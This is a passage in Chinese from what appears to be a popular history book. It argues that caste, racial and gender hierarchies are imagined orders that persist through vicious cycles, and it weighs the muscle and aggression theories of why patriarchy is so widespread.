+但不幸的是，复杂的人类社会似乎就是需要这些由想象建构出来的阶级制度和歧视。当然，各种阶级制度的道德意义不一，某些社会的歧视也比其他社会更为严重或极端，但至少就目前学者研究，还没有任何一个大型人类社会能真正免除歧视的情形。一次又一次，人类要让社会有秩序的方法，就是会将成员分成各种想象出来的阶级，像是上等人、平民和奴隶；白人和黑人；贵族和平民；婆罗门和首陀罗；又或是富人和穷人。所有这些阶级，就是要让某些人在法律上、政治上或社会上高人一等，从而规范了数百万人的关系。 +阶级有其重要功能。有了阶级之后，陌生人不用浪费时间和精力真正了解彼此，也能知道该如何对待对方。在萧伯纳（Bernard Shaw）的作品《卖花女》（Pygmalion，曾改编为电影《窈窕淑女》）中，希金斯（Henry Higgins）教授虽然不认识卖花女伊莉莎，但对两人之间的关系拿捏却是丝毫不需犹豫。原因就在于：他一听到她讲话，就知道她是个下层阶级的人，几乎可说是任他宰割——例如将她当作棋子，打赌可以把这个卖花女假扮成名媛淑女而不被看穿。至于如果是现代版的伊莉莎，花店小姐也得知道每天面对着来店的几十个客人，该如何才能卖出一束又一束的玫瑰和剑兰。她不可能有时间和精力做个完整的顾客身家调查，知道每个人的喜好如何，口袋又有多深。所以她得抓住某些“社交线索”，像是客人的衣着打扮、年龄、肤色（虽然这实在不太政治正确），来猜猜看这个客人究竟会是个大会计师，可能大手笔为母亲生日买上一大把的长茎玫瑰，又或是个送货小弟，只买得起一小把雏菊，想送给某个笑容甜美的柜台小姐。 +当然，天生自然的能力也很可能影响社会阶级差异，但是种种不同的能力和性格常常还是会受到想象阶级的影响。关于这一事实主要有两大方面。第一，也是最重要的一点，就是大多数的能力也需要培养和发展。就算某个人天生就有某种才能，如果不经过积极培养、磨炼和运用，常常也就没什么表现的机会。但这些机会绝非人人平等，常常都是要看他们在想象建构出的社会阶级中身处何处而定。哈利·波特其实就是个很好的例子。他从小被迫与能力出色的巫师父母分离，而由对巫术一无所知的麻瓜带大，所以等他到了霍格华兹的时候，对巫术可以说是一窍不通。于是，他的故事整整写了七本书，他才真正掌握了这项独特才能的力量和知识。 +第二，就算身处不同阶级的人发展出了完全一样的能力，因为他们面对的游戏规则不同，最后结果也可能天差地别。举例来说，假设是在英国统治下的印度，有四个人都有完全相同的商业头脑，但四个人分别是秽多、婆罗门、天主教爱尔兰人和新教英国人，他们致富的概率就仍然大不相同。这场经济的游戏，其实早就被种种法律限制和潜规则束缚住了手脚，根本不知道公平在哪里。 +恶性循环 +虽然说所有社会的背后都是由想象建构出来的秩序，但种种秩序却又各有不同。这些差异的原因为何？传统的印度社会是用种姓制度来分阶级，土耳其人用宗教，美国用种族，但为何如此？这些阶级制度开始时多半只是因为历史上的偶发意外，但部分群体取得既得利益之后，世世代代不断加以延续改良，才形成现在的样子。 +例如许多学者推测，印度种姓制度成形的时间是在大约3000年前，印度–雅利安人（Indo-Aryan）入侵印度、征服当地居民。入侵者建立了阶级森严的社会，可想而知，他们自己占的是最上等的位置（祭司和战士），而当地人就只能做仆人或奴隶。入侵者在人数上并不占优势，因此很担心失去他们的特权地位和独特的身份。为了防患未然，他们就将所有人民依种姓分类，各自需要担任特定的职业或是在社会上有具体的作用，也各有不同的法律地位、特权和义务。不同种姓之间不仅不能有社交往来、不能结婚，甚至连一起吃饭也被严格禁止。而且这一切除了法律加以规定，还成了宗教神话与仪式的重要部分。 +统治者主张，种姓制度反映的是永恒的宇宙现实，而不是历史发展的偶然。印度的宗教将“洁净”和“不洁”视为两大重要概念，也以此作为社会金字塔的根基。虔诚的印度教徒相信与不同种姓的成员接触会造成污染，而且污染的不只个人，甚至还会污染整个社会，也因此这实在是万万不可。然而，这种想法绝非印度教徒所独有。纵观历史，几乎所有社会都会以“污染”和“洁净”的概念来做出许多社会及政治上的区隔，而且各个统治阶级利用这些概念来维系其特权也是不遗余力。只不过，人之所以害怕污染，并非完全只是因为祭司和统治者所捏造出来的神话。可能在人天生的生存本能里，看到可能带着疾病的物体（例如病人或尸体）就会自然产生反感。所以，如果想排挤某一类的人，像是女性、犹太人、吉卜赛人、同性恋、黑人，最好的办法就是大声宣布：这些人有病，会造成污染。 +印度种姓制度和相关的“洁净”概念深植于印度文化中。虽然现代印度人早已遗忘了印度–雅利安人入侵的事件，但仍然相信着种姓制度，也同样排斥种姓混合造成的“污染”。当然，种姓并不是完全牢不可破。随着时间过去，现在种姓也发展出许多副种姓（sub-caste）。原本的四个种姓，现在已经变成3000种不同的“迦缔”（jati，意为“出生”），但整个种姓系统的基本原则仍然相同，每个人出生就属于特定的阶级，而破坏阶级就是污染了个人，也污染了整个社会。一个人的迦缔决定了他的职业、他的饮食、他的住处，还有他的结婚对象。一般来说，结婚对象只能来自同一个种姓阶级，而他们的子女也继承同样的阶级。 +而只要出现了新的职业或是出现了一群新的人，就得先判断他们属于哪种种姓阶级，才能在印度社会得到认可。而如果有一群人连被认定为种姓阶级都不配，在这个阶级分明的社会里，他们就连在底层也称不上。这种人被叫作“秽多”，他们居住的地方必须和所有其他人分开，活得充满屈辱，只能靠着像是捡拾垃圾的方式维生。就算是种姓阶级最下级的成员，也会尽可能避开他们，不和他们一起吃饭，避免碰触到他们，当然绝不可能与他们通婚。在现代印度，虽然民主政府竭尽全力想打破种姓的区别，告诉印度教徒不同种姓通婚往来不会有什么“污染”，但无论在婚姻还是职业方面，种姓制度的影响仍然挥之不去。47 +美洲的“洁净”观念 +现代美洲也延续着这种阶级制度的恶性循环。从16到18世纪，欧洲征服者引进数百万名非洲奴隶到美洲做矿奴或农奴。之所以选择非洲而非欧洲或东亚，环境因素有三。第一，非洲与美洲地理接近，所以从塞内加尔进口奴隶比起到越南找人更为容易。 +第二，当时非洲已经发展出成熟的奴隶贸易（主要将奴隶出口至中东地区），但蓄奴在欧洲仍然非常罕见。可想而知，从现有市场买个奴隶，要比自己建立整个市场容易得多。 +第三，也是最重要的一点，当时美洲的殖民农庄多半位于弗吉尼亚、海地和巴西之类的地区，常有来自非洲的疟疾和黄热病侵扰。非洲人经过世世代代演化，对这些疾病已经发展出部分的免疫力，但欧洲人全无招架之力，一病便倒。因此，农庄主人如果有点聪明，就知道买奴隶或雇用工人的时候该挑非洲来的，而不是欧洲来的。讽刺的是，非洲人在基因上的优势（免疫力）竟造成了他们在社会上的劣势：正因为他们比欧洲人更能适应热带气候，反让他们成了遭到欧洲主人蹂躏的奴隶！由于这些环境因素，美洲的新兴社会也出现了另一个种姓阶级：欧洲白人的统治阶级，以及非洲黑人的奴隶阶级。 +但是，没有人会承认他们把某种种族或出身的人当作奴隶只是为了经济利益。就像征服印度的雅利安人一样，欧洲白种人也希望自己在美洲人眼中不只是财大气粗，而是代表着虔诚、公正、客观的形象。于是，这时就要利用种种宗教和科学的虚构故事来找借口。神学家声称非洲人是诺亚的儿子含（Ham）的后代，而诺亚曾诅咒含的后代要做其他兄弟的奴隶。生物学家声称，黑人不如白人聪明，道德感也发展较差。医生也声称，黑人居住环境肮脏，会传播疾病，换句话说，就是种污染的来源。 +这些虚构的故事牵动着美洲文化，也影响整个西方文化。即使当初蓄奴的条件早已消失，故事却依然存在。19世纪初，大英帝国认定蓄奴违法，停止了大西洋的奴隶贸易，并在接下来数十年间逐步将蓄奴赶出美洲大陆。值得一提的是，这是史上第一次也是唯一一次有蓄奴社会自愿废除了奴隶制度。然而，就算奴隶已经得到自由，过去作为蓄奴借口的虚构种族故事却挥之不去。无论是种族歧视的法律，或是社会的习俗，都还是维持着种族分离的情形。 +于是，这一切形成了一个自为因果、不断自我强化的恶性循环。美国南北战争甫落幕的南方就是一例。美国于1865年通过宪法第十三条和第十四条修正案，前者禁止蓄奴，后者明定不得因种族而剥夺公民权及受法律保护的权利。然而，经过两个世纪的奴役，大多数黑人家庭的经济情况和受教育程度都远远不及白人。于是就算某个黑人在1865年出生于美国南方的亚拉巴马州，他要得到良好教育和高薪工作的机会绝对比不上他的白人邻居。等到19世纪80、90年代，他的孩子出生了，还是得面对一样的问题：家境贫寒、教育缺失。 +而且，黑人要面对的问题还不只经济弱势一项。毕竟，亚拉巴马州并不是只有黑人穷，贫穷的白人家庭也不少，不是所有白人都是有钱的农场主人。在当时工业革命和移民潮的推动之下，美国是个流动极度快速的社会，今日穷困潦倒没关系，处处都有一夕致富的机会。这样说来，如果黑人所面对的只有钱的问题，靠着通婚等种种方式，应该很快就能消弭种族之间的鸿沟。 +然而，真实的情况并非如此。在1865年，白人（甚至还有许多黑人）完全相信黑人就是比较笨、比较懒、比较暴力、比较放荡，而且不在乎个人卫生，所以黑人就成了暴力、窃盗、强奸和疾病的代名词，换句话说，他们就是污染源。于是，就算有个黑人在1895年的亚拉巴马州奇迹似的接受了良好的教育，想申请像是银行职员这种受尊敬的职位，他录取的机会仍然远远不及白人。“黑人”成了一种印记，人们觉得他们天生就不可靠、懒惰，而且愚笨。 +你可能会认为，人们总会渐渐明白这些印记都是虚构的而非事实，随着时间过去，黑人就能够证明自己和白人一样能干、守法、干净。但情况却正相反，随着时间推移，这些偏见只会越来越深。正由于所有最好的工作都在白人手上，人们更容易相信黑人确实低人一等。一个普通的白人很可能会说：“你看，黑人都已经自由这么久了，但几乎所有的教授、律师、医生，甚至是银行出纳员都没什么黑人。这岂不是明白告诉我们，黑人就是没那么聪明，没那么努力吗？”于是，黑人被困在这个恶性循环里，他们申请不到白领的工作，是因为别人以为他们笨，但证明他们笨的，又是因为白领中很少有黑人。 +这种恶性循环并非到此为止，反对黑人的势力不断壮大，最后形成“黑人歧视法”（Jim Crow Laws）等等法规，意在维护种族阶级制度。他们规定黑人不准投票，不准读白人学校，不准到白人商店买东西，不准在白人餐厅吃饭，不准到白人旅馆过夜。这一切的理由是认为黑人就是污秽、懒惰、品行不良，所以必须隔离，好保护白人。同样，白人出于害怕疾病，会避开有黑人的旅馆或餐厅；他们害怕孩子受欺负或被带坏，所以也不希望孩子去上有黑人的学校；他们害怕黑人既无知又没道德观，所以不想让黑人在选举中投票。而这些忧虑甚至还有科学研究“证明”在后面撑腰，研究“证明”：黑人平均学历确实较低，得到各种疾病的比率确实较高，而且犯罪率更是远高于白人（但这些研究却忽略了这些“事实”是出于对黑人的歧视）。 +恶性循环：某个偶然历史事件，成了僵化的社会制度常规。 +到了20世纪中叶，美国南方各州种族隔离的情形甚至比19世纪末期更为恶化。1958年，黑人克雷农·金恩（Clennon King）申请进入密西西比大学就读，竟被强迫关进精神病院就医。当时法官认为，一个黑人一定是疯了，才觉得自己能进得了密西西比大学。 + + +对于当时的美国南方人（和许多北方人）来说，想到黑人男性居然可能和白人女性有性行为甚至结婚，就会觉得这实在是万万难以接受的事。跨种族的性行为是所有禁忌之首，一旦做出这种行为甚至只是涉嫌想有这种行为，不用经过什么审判，就会立刻遭到私刑处置。当时出现的白人至上主义的秘密社团“三K党”（Ku Klux Klan），就曾犯下多起相关杀人事件。讲到维护洁净这件事，他们可是让印度教的婆罗门相形见绌。 +随着时间过去，种族主义还蔓延到越来越多的文化领域。例如美国的审美观就是以白人的美丽作为标准，白人的特质就是美丽的标准，浅色的皮肤、金黄的直发、小而翘的鼻子等等。至于典型的黑人特质，例如黝黑的皮肤、蓬松的黑发、扁平的鼻子，则被视为丑陋。这些成见使得原本就由想象建构出来的阶级意识更是进到意识深层，挥之不去。 +这样的恶性循环可能持续几百年甚至几千年，让原本只是历史偶发事件形成的阶级制度变得根深柢固。随着时间流逝，不公不义的歧视常常只是加剧而不是改善。富者越富，而贫者越贫。教育带来进一步的教育，而无知只会造成进一步的无知。历史上过去的受害者，很可能会再次受害。而历史上过去的特权分子，他们的特权也很可能依然存在。 +大多数社会政治阶级制度其实都没有逻辑或生物学的基础，不过就是由历史的偶然事件引起，再用虚构的故事延续壮大。这正是历史值得研究的一个很好的理由。如果黑人／白人或婆罗门／首陀罗的区别真有生物学事实根据（例如婆罗门的大脑确实比首陀罗的大脑效率高），光靠生物学就应该足以研究人类社会的种种行为。然而事实证明，不同智人群体之间的生物差异其实就是小到能够忽略不计，所以单凭生物学就是无法解释印度社会和美国各种族的互动为何如此复杂。想了解这些现象，我们只能靠着研究事件本身、环境、权力关系，看看人们是怎样将虚构的想象变成了残酷（而且再真实不过）的社会结构。 +他和她 +不同的社会，想象出的阶级制度也就相当不同。像是现代美国人非常注意种族，但对中世纪的穆斯林来说就无关紧要。在中世纪印度，种姓是生死攸关的大事，但现代的欧洲根本毫不在意。只不过，有某种阶级制度却是在所有已知的人类社会里都有着极高的重要性：性别的阶级。世界各地的人都会区分男女，而且至少在农业革命以降，几乎世界各地都是男人占尽好处。 +甲骨文的历史可以追溯到公元前1200年，是中国现存最古老的成熟文字，用来占卜。其中曾有一块的卜辞写着：“妇好娩，嘉？”（商王武丁的妻子妇好即将临盆，是否吉利？）而答复是：“其唯丁娩，嘉；其唯庚娩，弘吉。”（若在丁日分娩，吉；若在庚日分娩，大吉。）然而，卜辞最后的验辞语气十分遗憾：“三旬又一日，甲寅娩，不嘉，唯女。”（31天之后，妇好在甲寅日分娩，不吉，只是个女孩。）48过了三千多年，社会主义体制下的中国制定了计划生育政策，而许多中国家庭仍然觉得生下女儿是种不幸。有些时候，父母还会刻意遗弃甚至杀害女婴，希望能有机会再试一次，看看能不能生出个儿子来。 +在许多社会中，妇女只是男人的财产，通常属于她的父亲、丈夫或兄弟。而在许多法律系统中，强奸罪是属于侵犯财产，换句话说，受害人不是被强奸的女性，而是拥有她的男性。因此，这些法律对于强奸罪的救济措施就是所有权移转：强奸犯付出一笔聘金给女方的父亲或兄弟，而她就成了强奸犯的财产。《圣经》还写着：“若有男子遇见没有许配人的处女，抓住她，与她行淫，被人看见，这男子就要拿50舍客勒银子给女子的父亲；因他玷污了这女子，就要娶她为妻。”（《申命记》，22:28–29）对古希伯来人来说，这是个再合理也不过的安排了。 +在某些地方，如果是强奸某个不属于任何男人的女人，甚至算不上犯罪。这就像是在人来人往的街道上捡了一枚铜板不算是窃盗一样。另外，如果是丈夫强奸自己的妻子，也不构成犯罪；甚至有地方会认为，因为丈夫本来就该对妻子的性行为有完全的控制权，所以“丈夫强奸妻子”这句话根本无法成立。说丈夫“强奸”妻子，就像说某个人偷了自己的钱包一样不合逻辑。这些说法听来荒谬，但其实并不只有远古中东地区才有这种想法。就算到了2006年，还有53个国家无法控告丈夫强奸了他的妻子。即使在德国，也是到了1997年才修订法案，认定婚姻中可能出现强奸行为。49 +* * * +那么，将人类分成男女，是不是也像印度的种姓制度或是美国的种族阶级，都是想象下的产物？这一点究竟是不是有深刻的生物学基础，认定男女本来就应有所区分？而如果这确实是一个自然的不同，生物学上又是否能够解释为何男性的待遇优于女性？ +在男女之间，某些文化、法律和政治上的差异正反映着两性明显的生物学差异。例如男性没有子宫，所以怀孕生子这件事一直只能是女性的工作。然而，就在这个核心差异上，每个社会又会不断加上一层又一层的文化概念和规范，而这些就和生物学鲜有关联。而各种社会上对于“男性化”和“女性化”特质的想法，多半也没有确实的生物学基础。 +举例来说，公元前5世纪的雅典实行民主，但有子宫的人就没有独立的法定地位，无法参加人民议会，也无法担任审判。除了少数例外，这种人也无法得到良好的教育，不能经商，也不能参加哲学讨论。所有雅典的政治领袖、哲学家、演说家、艺术家、商人，没有一个人有子宫。那么，难道“有子宫”这件事，真有什么生物学的根据，证明这些人不适合从事这些行业吗？虽然古雅典人确实这么认为，但现代雅典人可不会同意。在现今的雅典，妇女不仅能够投票，能够参选担任公职，能够发表演讲，能够从事从珠宝到建筑到软件等等一切设计，而且也能够进入大学就读。她们的子宫可没让她们做起这些事来输给男人。确实，女性在政界和商界仍然处于弱势（希腊议会只有12%是女性），但她们要参与政治已经没有法律的阻碍，而且多数现代希腊人也认为女性担任公职合情合理。 +此外，许多现代希腊人也认为男人的一个重要特点就是只对女人有“性趣”，而且也只该和异性发生性关系。但他们没发现，“异性性行为自然，同性性行为不自然”这件事也是一种文化偏见，而不是生物学上的事实。事实上，男男相吸这件事，大地之母从来也没什么意见。然而，在某些文化里，如果儿子和隔壁的男孩天雷地火，他的人类母亲可就会大发雷霆。这位母亲会生气，原因可不是出于生物的必然。其实对于许多人类文化来说，同性恋不仅合法，甚至还对社会有所帮助，像古希腊就是最明显的例子，在史诗《伊利亚特》（Iliad）里，英雄阿基利斯（Achilles）与普特洛克勒斯（Patroclus）关系亲密，但阿基利斯的母亲西蒂斯（Thetis）可没什么不高兴。另外，马其顿王国的女王奥林匹亚丝（Olympias）可说是古代最喜怒无常也最大权在握的女性，连她的丈夫腓力二世都死在她手上。但她看到儿子亚历山大大帝带了爱人赫费斯提翁（Hephaestion）回家吃饭，也是没发半点儿火。 +我们究竟要如何才能判断，什么是真正在生物学上有所不同，而什么又只是人类说得煞有介事、自找借口？一项黄金法则就是“天生带来允许，文化造成封闭”。天生自然的生物学，可能性几乎无穷无尽。然而，文化却要求必须实现某些可能性，而又封闭了其他可能性。例如女性天生能生小孩，但在某些文化里，女性却是非生不可。生物学上，男人就是能从彼此身上得到性愉悦，但某些文化却极力阻止他们实现这种可能。 +文化总会说，它只是禁止“不自然的事”。但从生物学的角度来看，这世界上根本没有什么是不自然的。只要有可能发生的事，就是自然。真正完全“不自然”的事，是指违背了自然规律，但这种事情根本就不会存在，所以也没有禁止的必要。举例来说，没有任何一种文化会“禁止男性进行光合作用”，“禁止女性跑得比光速快”，或是“禁止带负电荷的电子互相吸引”，就是因为这讲了只是白讲，完全没有必要。 +事实上，许多人认知的“自然”和“不自然”并不是生物学的概念，而是基督教神学的概念。神学上所谓的“自然”，指的是“符合创造自然的神的旨意”。基督教神学家认为，上帝创造了人的身体，并且让每个肢体和器官都有特定的目的。如果我们使用肢体和器官的方式符合上帝的设想，那就是个“自然”的活动；如果不符合上帝设想的方式，就成了“不自然”。然而，演化本来就没有唯一的目的。器官的演化没有唯一的目的，而器官的使用方式也不断在变化。现在人体的所有器官早在几亿年前就已经出现了原型，而现在所有器官都不只做着原型所做的事。器官之所以演化是为了某种特定功能，但等到器官存在之后，要用作其他功能也并无不可。以嘴巴为例，嘴巴之所以会出现，是因为最早的多细胞生物需要有办法将营养成分送进身体里。而虽然现在嘴巴仍然有这种功能，但我们还能用嘴来说话、亲吻，战士还能用嘴来拔手榴弹的引信。难道，只因为我们最早那些像蠕虫一样的祖先在6亿年前没有用嘴做这些事，嘴巴的这些功能就变得不自然了？ +同样，翅膀也不是一开始就成了空气动力学的奇迹，而是从原本有其他用途的器官演化而来。有学者认为，一开始昆虫都不会飞，而翅膀是几百万年前从虫子身上突起的部分演化而来。虫子原本身上会有突起，是因为这样能增加表面积，接收更多阳光，也就更能保持温暖。而在缓慢的演化过程中，这些太阳能接收器越长越大。想要吸收最多阳光，就要让突起的表面积最大、重量最轻；而这种身体结构刚好对昆虫来说也方便，蹦蹦跳跳的时候还能帮上一点忙，突起越大的，就能跳得越远。有些昆虫开始用这玩意儿来滑翔一下，接着只是再跨出一小步，昆虫就真的在空中飞了起来。所以，如果下一次又有蚊子在你耳边嗡嗡不停，记得要骂骂她真是太不自然了。如果她乖乖听话，满足于当初上帝赋予的功能，现在她的翅膀还只能做个太阳能板。 +这种多用途、多功能的道理，也同样适用于我们的性器官和性行为。一开始，性行为就是为了繁殖，而求偶仪式则是为了要评估对方的健康程度。但对许多动物来说，两者其实都有众多的社交功能，可不只是为了赶快创造出自己的DNA小拷贝。举例来说，黑猩猩就会用性行为来巩固政治联盟、建立亲密关系、化解紧张局势。难道这也是不自然？ +性与性别 +所以，坚持女性生小孩才“自然”或者说同性恋“不自然”，其实并没什么意义。各种规定男人就该如何、女人就该怎样的法律、规范、权利和义务，反映的多半只是人类的想象，而不是生物天生的现实。 +生物上，人类分为男性和女性。所谓男性（male），就是拥有一个X染色体和一个Y染色体，所谓女性（female）则是拥有两个X染色体。但是要说某个人算不算“男人”（man）或“女人”（woman），讲的就是社会学而不是生物学的概念了。在大多数人类社会里，绝大多数情况下所谓男人就是男性，而女人就是女性，但那些社会学的名称负载了太多意义，而真正与生物学相关的部分少之又少，甚至完全无关。我们说某个智人“够男人”，讲的并不是具有某种生物特质（例如有XY染色体，有睾丸，有睾固酮之类），而是能在所处的社会中，找到一个符合想象秩序的位置。每个文化背后虚构的故事，都有些男人应该要符合的角色（像是搞政治）、拥有的权利（像是投票权），以及负起的义务（像是服兵役）。同样，要说某个智人是不是“够女人”，也不是看她有没有两个X染色体、子宫或是大量的雌激素，而是她在想象建构出的人类秩序中，是个女性的成员。每个社会文化也会用虚构的故事，定出一些女人该符合的角色（像是要养育子女）、拥有的权利（保护不受暴力侵扰），以及负起的义务（服从她的丈夫）。正由于定义男女角色、权利和责任的并不是生物学，而只是虚构的故事，所以每个社会认为“够男人”和“够女人”的意义也就大不相同。 +学者为了把概念讲清楚，通常把生物学上的区分称为“性”（sex），而文化上的区分称为“性别”（gender）。“性”区分的是男性和女性，属于客观标准，在整个历史上未曾改变。至于“性别”区分的是男人和女人（某些文化也有其他类别），所谓“够男人”和“够女人”的标准存在于主体之间，而且会不断改变。举例来说，同样在雅典，古代和现代对女人要求的行为、欲望、服饰甚至是身体姿势都有极大不同。50 +女性=一种生物区别 女性=一种文化区别 +古代雅典 现代雅典 古代雅典 现代雅典 +XX染色体 XX染色体 无权投票 有权投票 +子宫 子宫 无权担任法官 有权担任法官 +卵巢 卵巢 无权任公职 有权任公职 +睾固酮浓度低 睾固酮浓度低 无权自行决定结婚对象 有权自行决定结婚对象 +雌激素浓度高 雌激素浓度高 通常不识字 通常识字 +有泌乳能力 有泌乳能力 法律上由父亲或丈夫拥有 法律上独立 +完全相同 非常不同 +性的事情好解决，但性别就没那么容易。想成为男性再简单不过，只需要出生的时候有一个X和一个Y染色体就行。想成为女性也是同样容易，出生时有一对X染色体，就大功告成。但相反的是，要当好一个男人或是一个女人，不但过程复杂，而且要求苛刻。正由于“够男人”或“够女人”的标准多半来自文化，而不是天生自然，所以没有什么社会是在人一生下来之后就觉得男性够男人而女性够女人。而且就算得到认可了，也还不能就此松懈。从出生到死亡，男性必须一辈子不断通过各种仪式和表演来证明自己真是条汉子。而女性也永无宁日，必须不断说服自己和其他人自己散发着女人味。 +而且，这种成功没得保证。特别是男性，总是很害怕别人觉得自己没有男子气概。在整个历史上，总看到男性愿意冒险犯难甚至牺牲生命，只为了让人夸赞一句：“他是个真正的男人！” +图15 18世纪的男人味：法国国王路易十四王室肖像。请注意路易十四戴着长假发，穿着丝袜和高跟鞋，站得像个芭蕾舞者，还带着一把巨大的剑。这一切在现代美国都会被认为真是个娘娘腔（除了那把剑），但在当时，路易十四可是欧洲男子气概和男人味的典范。 +图16 21世纪的男人味：美国总统奥巴马官方照片。那些假发、丝袜、高跟鞋和剑都去了哪？就大权在握的男性而言，这大概是有史以来最呆板沉闷的形象。人类历史上，占主导地位的男人形象多半都是多彩绚丽，像是美洲印第安人酋长就戴着羽毛摇曳的头饰，印度大君也会穿着华丽的丝绸，配着亮眼的钻石。至于在整个动物界里，雄性往往也比雌性更丰富多彩、装饰夸张，像是孔雀的尾巴和狮子的鬃毛。 +当男人究竟有什么好的？ +至少农业革命以来，大多数人类社会都属于重男轻女的父权社会。不论这些社会对男女的定义为何，当男人总是比较优越。父权社会教育着男人就该是个阳刚的男人样，女人就该有个阴柔的女人款，要是有人斗胆跨越界线，惩罚也就随之而来。但反过来说，如果遵守了这些规范，得到的奖励却是男女大不同。社会通常重视阳刚的特质胜于阴柔的特质，社会中阳刚的典范得到的总是比阴柔的代表多。女人得到的健康和教育资源不如男人，不论在经济、政治，甚至光是迁徙的自由也都逊于男人。性别就像是一场竞赛，但第一第二早已命中注定，有些人甚至只能争个老三。 +确实，有极少数的女人坐到了高位，像是埃及艳后克丽奥佩特拉（Cleopatra）、英国的伊丽莎白一世，以及中国的慈禧太后，但她们只是例外，而更证明了这个规则。慈禧在19世纪末统治中国，但当时所有的朝廷大臣都是男人，军队统帅都是男人，判官律吏都是男人，科举考生都是男人，进士翰林都是男人，就连吟诗作对、为文著述、抚琴吹箫、问诊医病、清谈哲思、科学研究也几乎都是男人一手包办。 +几乎在所有的农业和工业社会中，父权制都是常态，历经各种政治动荡、社会革命、经济转型，历久不衰。以埃及为例，在过去几个世纪统治权不断换手，历经亚述、波斯、马其顿、古罗马、阿拉伯、马穆鲁克（Mameluk）、土耳其和英国统治，但从头到尾都是父权制。虽然埃及曾用过法老的法律、希腊的法律、古罗马的法律、穆斯林的法律、土耳其的法律和英国的法律，但一直都让所谓“真正的男人”唯我独尊。 +正因为父权制是种太普遍的现象，不可能只是某种偶然因素进入了恶性循环所致。特别值得一提的是，在1492年哥伦布抵达美洲之前，美洲和亚洲、非洲的人类数千年内并无往来，但绝大多数社会依然采用的是父权制。如果说在亚洲和非洲的父权制只是出于偶然，难道真的只是凑巧，让阿兹特克和印加也同样采用父权制？一种更有可能的推测是，尽管“男人”和“女人”的定义在各种文化之间有所不同，但有些共通的生物因素，让几乎所有文化都重视阳刚胜过阴柔。我们并不知道真实的原因为何，虽然有各种理论，但没有任何一个真能完全站得住脚。 +肌肉理论 +最常见的一种理论，是认为男人比女人强壮，于是靠着他们肌肉的力量迫使女人就范。这种理论讲得精致一点，是认为男人力气大，就能独占那些需要较多体力劳动的工作（像是犁地和收割），于是让他们掌握了粮食的生产，进而转化为政治上的影响力。 +然而，肌肉理论有两大问题。第一，“男人比女人强壮”只是一般情形，而非人人皆然。而且，强壮分了许多种，像是女人一般来说比男人更能抵抗饥饿、疾病和疲劳，而且也有许多女人能跑得比男人更快，挑得比男人更多。第二，也是这种理论最大的问题，在于整个历史上也有许多不需要什么体力的工作（像是宗教、法律、政治），但女人不但没分到这些工作，反而是在田里、在工厂里、在家庭中从事艰苦的体力劳动。如果社会权力分配看的只是付出体力的多寡，女人该得到的权力绝对远超于现在。 +更重要的是，就人类整体来说，体力和社会权力本来就没有直接关联。我们常看到六十几岁的人控制着二十几岁的人，但后者显然体力要好得多。19世纪中叶亚拉巴马州的蓄奴农庄主人，如果和他种棉花的奴隶大打出手，很可能几秒之内就会被撂倒在地上。另外，要遴选埃及的法老王或天主教的教皇，也不是让大家来打一场。在采集社会里，握有政治主导权的人通常是因为社交技巧最为杰出，而不是身上肌肉最为发达。而在黑道组织里，老大常常也不是最强壮的男人，反而是个老头；他根本不用自己出手，肮脏活只要交给更年轻、体力更好的年轻小伙子就行了。如果有哪个小鬼，以为只要把老大干掉自己就能称王，很可能还没动手就已经被杀。就算是黑猩猩，要坐上首领地位靠的也是稳固的集团，而不是盲目的暴力。 + +事实上，人类历史显示，肌肉的力量和社会的权力还往往是呈反比。在大多数社会中，体力好的反而干的是下层的活。这可能反映着智人在食物链中的位置。如果真的一切只看体力，智人在食物链里就只能处在中间的位置。然而，智人靠着聪明才智和社交技巧，让自己跃升到了食物链的顶端。于是，在智人内部的权力链里，聪明才智及社交技巧也会比体力更重要。正因如此，如果想解释父权制这个历史上影响最广、最稳固不变的阶级制度，要说一切只是因为男人力气大于女人，实在叫人难以相信。 +流氓理论 +另一种理论认为，男性占有主导地位靠的不是力气，而是好侵略的个性。经过数百万年的演化，让男性的暴力倾向远比女性明显。虽然女性心中也会浮起仇恨、贪婪和欺凌的想法，但流氓理论认为男人更愿意将这些想法付诸实践。正因如此，历史上的各场战争一直就是男人主导。 +而正因他们在战争时期掌握了军队，到了太平时期也就成了民间社会的主人。控制了民间社会，就有资源发动更多的战争；发动了越多战争，男人就越能控制社会。正是这样的循环，解释了为什么战争无处不在，而父权制也无处不在。 +近年来对于男女荷尔蒙与认知系统的研究也发现，男人的攻击和暴力倾向确实比较明显，平均来说更能胜任一般士兵的角色。然而，就算一般士兵都是男人，是不是就能合理推论也该由男人来运筹帷幄，而且最后享有战争带来的甜美果实？这仍然说不通。这就像说因为所有在棉田里工作的都是黑人，所以棉花农庄的主人也该是黑人一样。既然工人全为黑人的农庄可能有个白人主人，为什么士兵全是男人的军队就不能由女人率领，或者至少在领导阶层里有部分是女人呢？事实上，在整个历史上的许多社会中，许多军方高阶人员都不是从大兵做起，而是直接空降。常常军队的领导人从没当过一天兵，只因为他们是贵族、富人或受过教育，高级将领的荣耀也就落在他们头上。 +例如拿破仑的克星威灵顿公爵，他18岁进入英国军队，立刻接受委任成为军官。他根本不把麾下的平民看在眼里。与拿破仑对战期间，他曾写了一封信给另一个贵族，里面提到“我们指挥的那些大兵就是社会没用的渣滓流氓”。这些大兵通常是最贫困的穷人或少数民族（如爱尔兰天主教徒），他们想在军中晋升的机会可以说是微乎其微。那些高阶军职，全部都是公爵、亲王和国王的专利。然而，又为什么只能是公爵，而不能是女爵呢？ +法兰西帝国是靠着塞内加尔人、阿尔及利亚人和法国工人阶级的血汗，才建立并捍卫着在非洲的疆域。在这些军队中，出身法国名门的比率可以说是低之又低。但领导军队、统治帝国、享用成果的，这一小撮中法国名门的比率却是高了又高。但同样的问题，为什么这些又都是法国男人，而不是法国女人？ +中国长久以来一直有以文人领军的传统，常常将领的出身都是舞文弄墨的，而不是舞刀弄剑的。中文也常有人说“好男不当兵，好铁不打钉”，讲的也是聪明人该去读书而不是从军。但这样说来，为什么所有官职都被男人占走了？ 